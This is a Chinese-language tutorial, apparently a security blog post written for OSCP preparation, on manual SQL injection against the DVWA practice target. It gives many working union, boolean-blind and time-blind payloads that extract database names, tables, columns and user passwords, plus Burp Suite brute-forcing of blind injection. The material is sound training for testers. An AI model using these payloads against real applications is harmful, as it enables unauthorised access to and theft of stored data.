简介
测试的靶机为综合靶机DVWA,为基础步骤,没有前端过滤。
往期推荐
Dirb | 目录枚举工具 相较于DIrsearch的另一款工具
查找注入点
-
注入点不仅仅局限于网页上可见的输入框,而是取决于请求包中传递的值。这些值可以存在于: -
URL 中的 GET 传参: 参数直接显示在 URL 中,例如 http://longyusec/index.php?id=1
。 -
POST 传参: 用于传输大量数据或敏感信息,参数值在请求体中,例如提交表单数据。 -
请求头 (Headers): 例如 User-Agent
、Referer
、Cookie
等。 -
Cookie: 存储在用户浏览器中的小型文本文件。
判断是否存在注入 (构造闭合)
什么是构造闭合?
-
构造闭合是指通过修改请求参数的值,来闭合原本的 SQL 语句结构,从而插入我们自己的恶意 SQL 代码。 观察源代码: -
假设我们有以下 PHP 代码(虽然在实际测试中通常看不到):
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
在这个 SQL 查询语句中,我们可以控制变量 $id
的值。 那要构造注入语句,首先需要判断它的闭合字符是什么。 观察代码,变量 $id
被单引号 '
包裹,因此单引号就是这个 SQL 语句中 $id
变量的闭合字符。
-
通过传递闭合字符来判断是否存在注入,当尝试传递一个单引号 '
作为$id
的值时
为什么会报错?
让我们分析一下当传递 '
时,SQL 语句会变成什么样子:
SELECT first_name, last_name FROM users WHERE user_id = ''';
原本 $id
的值被替换成了 '
,导致 WHERE
子句变成了 WHERE user_id = '''
。 这里出现了三个单引号,SQL 语法解析器无法正确理解这个语句,因此会抛出错误。 这正是我们判断是否存在 SQL 注入漏洞的一个重要依据。
常见的闭合方式:
-
无引号: $id
例如:WHERE user_id = 123
-
单引号: '$id'
例如:WHERE username = 'admin'
-
双引号: "$id"
例如:WHERE email = "[email protected]"
-
括号: ($id)
例如:WHERE id IN (1, 2, 3)
-
复杂组合: (('"$id"'))
虽然不常见,但在某些复杂场景下可能出现。
注入形式
注入类型分为两种,一种是有回显查询内容的常规形注入,一种是无查询的回显信息的盲注。
常规形式
-
在他查询的代码里是会将查询的结果返回到前段页面。注入方式:配合联合查询 union
查询相关信息。
例子
-
使他闭合能够出现数据库报错的。
盲注形式
-
查看源代码,将报错和查询的内容统一返回一个结果。注入方式:通过 sleep
查看页面的返回时间或者根据页面的只有正确或者错误的回显来判断。
时间盲注例子
-
通过 sleep
语句让查询产生延迟,判断存在盲注。布尔盲注话会有明显的统一回显信息,正确或者错误的。
1' and sleep(5) #
判断列数
常规类型
-
使用 order by
:根据第几列(字段)来排序,如果报错则证明当前查询的字段为几个
1' order by 1 #1' order by 2 #1' order by 3 # 根据第三个字段排序时报错。
盲注类型
-
盲注中大部分不需要猜测字段列数,查询字段列数是为了使用联合查询 union
1' order by 1 #1' order by 2 #1' order by 3 # 根据第三个字段排序时报错。
为什么这样构建语句
-
试着将注入的语句替换为他查询语句中的 $id
#将语句插入今后后三个'是会报错的,但是可以利用#注释掉后面的一个单引号SELECT first_name, last_name FROMusersWHERE user_id = '1'orderby1#';
查询当前数据库/判断显错点
常规形式
-
配合联合查询,前面知道只有两个字段(列),那么就要判断他显示查询数据的点是那个字段
#显错点为1,2字段1' union select1,2#
-
使用显错点 2
字段获取当前数据库为dvwa
。
1' union select 1,database() #
盲注形式
布尔盲注
-
判断数据库名长度
1' and length(substr(database(),1)) = 4 #
-
通过判断查询的数据库名,第一个字符是什么来判断,存在则显示正确回显信息。知道数据库第一个字符为 d
#从第一个字符开始提取,提取一个字符1' and (select substr(database(), 1, 1) = 'a') #....1' and (select substr(database(), 1, 1) = 'd') #
时间盲注
-
先使用 if
函数先判断数据库的长度
1' and if((length(substr(database(),1)) = 4),sleep(5),null) #
-
先获取数据库名第一个字符的
#if判断获取数据库的名字并从第一个字符开始截取他第一个字符,判断是否为a,是延迟5秒,否返回1' and if(substr(database(), 1, 1)= 'a', sleep(5), false) #...1' and if(substr(database(), 1, 1)= 'd', sleep(5), false) #
获取数据库中的表名
知道了当前数据库的名字可以尝试获取当前数据库的表名,数据库的表名存放在
information_schema.tables
,information_schema数据库中的tables表。里面的table_name字段,数据库名为table_schema字段。
常规形式
-
使用显错点 2
字段来查询,通过使用联合查询,使用group_concat
函数将查询的字段合并成字符串输出。
1' union select1,group_concat(table_name) from information_schema.tables where table_schema = database() #
盲注形式
盲注形式无法直接查看只能通过猜表的数量后再猜表名的字符。耗时耗力。
布尔盲注
-
先利用 count
获取指定字段的行数,也就是表的数量。在进行判断有多少表
1' and (selectcount(table_name) from information_schema.tables where table_schema=database())=2#
-
再判断第一个表的长度。
#select查询当前数据库中的表名并用limit从第0行开始算,获取第一行的表,substr从第一个字符开始截取出表名,length获取表的长度1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit0,1),1))=9##第二个表类似,改变的点为limit从第一行开始,获取第一行的数据。(limit除开字段外,第一行数据为第0行算)1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
-
判断第一个表的字符
#先select查询information_schema.tables中的table_name字段获取当前数据库的表名,截取第一个,再用substr获取第一个字符。1' and substr((select table_name from information_schema.tables where table_schema=database() limit0,1),1,1)='a'#...1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)='a' #
时间盲注
-
猜数据库中表数量有多少。
1' and if((select count(table_name) from information_schema.tables where table_schema=database()) = 2,sleep(5),null) #
-
猜表中第一个字段的长度为多少。
#第一个字段1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),null) #...1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5,sleep(5),null) #
-
通过 if
语句猜表中的字符是否为真,来执行延迟。这里猜第一个字段的第一个字符。
1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'),sleep(5),null) #...1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)='a'),sleep(5),null) #
获取表的字段
知道了有什么表之后还不足来查询表中的内容,还需要知道表有怎么字段(列)可以给我们查询,而表的字段信息存放在information_schema.columns表中。
常规形式
-
一样使用联合查询 union
使用显错点2来查询表中有什么字段。
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
盲注形式
首先要知道字段的数量和长度为多少
布尔盲注
-
猜字段的数量
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
-
猜得字段长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))='7' #...1' and length(substr((select column_name from information_schema.columns where table_name='users'limit 1,1),1))='10'#
-
一样只能通过猜字段的配合,这里示范猜第一个字段的字符
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u' #...1' and substr((select column_name from information_schema.columns where table_name='users'limit 0,1),2,1)='s'#
时间盲注
-
猜表的字段数量。
1' and if(((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8),sleep(5),null) #
-
使用 if
函数猜得第一个字段的字符长度。
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),null) #...1' and if(length(substr((select column_name from information_schema.columns where table_name='users'limit 1,1),1))=7,sleep(5),null) #
-
再猜第一个字段的第一个字符是多少
1' and if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'),sleep(5),null) #...1' and if((substr((select column_name from information_schema.columns where table_name='users'limit 0,1),2,1)='u'),sleep(5),null) #
获取表中的数据
知道了表的字段后,就可以去查询表中的数据。
常规形式
-
配合联合查询获取表中指定字段的数据,注意原先表格的字段(列)数,联合查询的字段数量不能超过原先查询的字段数,不过可以使用 group_concat
合并多个字段。
1' union select 1,group_concat(user_id,',',user,',',password) from users #
盲注形式
盲注要去查询表中的数据还是只能先猜一个字段的数据(行)数量,然后去猜第一个数据(行)的长度,再猜第一个数据第一个字符是什么。
布尔盲注
-
先猜得数据的数量为多少。
1' and (select count(user_id) from users)=5 #
-
再猜第一个数据的长度为多少。
1' and (select length((select user from users limit 0,1)))=5 #
-
猜第一个字符是什么。
1' and (select substr((select user from users limit 0,1),1,1))='a' #...1' and (select substr((select user from users limit 0,1),2,1))='d'#
时间盲注
-
先猜测数据的数量为多少
1' and if((select count(user_id) from users)=5,sleep(3),null) #
-
猜第一个数据(行)的长度为多少
1' and if((select length((select password from users limit 0,1)))=32,sleep(3),null) #
-
猜测第一个数据(行)的第一个字符是什么。
1' and if((select substr((select password from users limit 0,1),1,1))=5,sleep(3),null) #...1' and if((select substr((select password from users limit 0,1),32,1))=9,sleep(3),null) #
扩展
编写这个注入步骤原意是为了准备OSCP考试的,在OSCP考试中是不允许使用sqlmap的所以手工注入必须要过关,但是如果考试的时候突然出现盲注这种就会很麻烦,一个个手敲代就太麻烦了,于是我就想到使用burpsuite的爆破来使用。
使用BurpSuite盲注
具体思路如果盲注你是一个个敲会的话你肯定也发现了,每次获取到第一个字符正确后,去获取第二个字符其实也就是改个数字的事情,那么这个为什么不能用爆破形式的呢?哪怕社区版的bp都比我手敲的快(肯定),这里引用一个新的函数
ascii
,他可以将输出的字符转为ascii码
形式,大大减少了爆破的难度。因为你只需要跑1-100的数字就可以了,后面再对着改回字符就可以了。
Ascii码形式
-
原本语句
select substr((select user from users limit 0,1),1,1);
-
使用ascii函数后。其实就是将原本字符的查询语句用函数包起来就可以了。
select ascii(substr((select user from users limit 0,1),1,1));
使用BurpSuite爆破布尔盲注
-
这里直接爆破数据库名字
#只需要改猜得数值就可1' and ascii((select substr(database(), 1, 1))) = 1 #
-
抓取注入的请求包,发送的攻击器 ![] -
payload为需要改的那个数值,也就是那个 1
,然后ascii码的范围为1-100,设置好后直接开启攻击。 -
对于布尔类型的可以根据页面返回的内容,或者看响应包的长度来判断。
使用BurpSuite爆破时间盲注
-
也是爆破数据库名。
1' and if(ascii((select substr(database(), 1, 1)))= 1, sleep(5), false) #
-
抓取注入的请求包,发送到攻击器。 -
payload为需要改的那个数值,也就是那个 1
,然后ascii码的范围为1-100,设置好后直接开启攻击。 -
这里可以根据响应完成的时间来判断了。
总结
SQL注入的步骤大概流程就是先找到能够传参的点,尝试闭合一下观察是否存在SQL报错,然后根据报错的内容来分辨是盲注还是常规注入。
-
常规形式 -
常规注入就先判断字段数量→然后判断显错点→获取当前数据库→获取数据库的表→表的字段→表的内容 -
盲注形式 -
盲注要先猜数据库的长度,猜数据库的名字→猜表的数量,长度,名字→表的字段数量,字段名字,数据
原文始发于微信公众号(泷羽Sec-小篮子):SQL注入测试步骤|注入类型
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论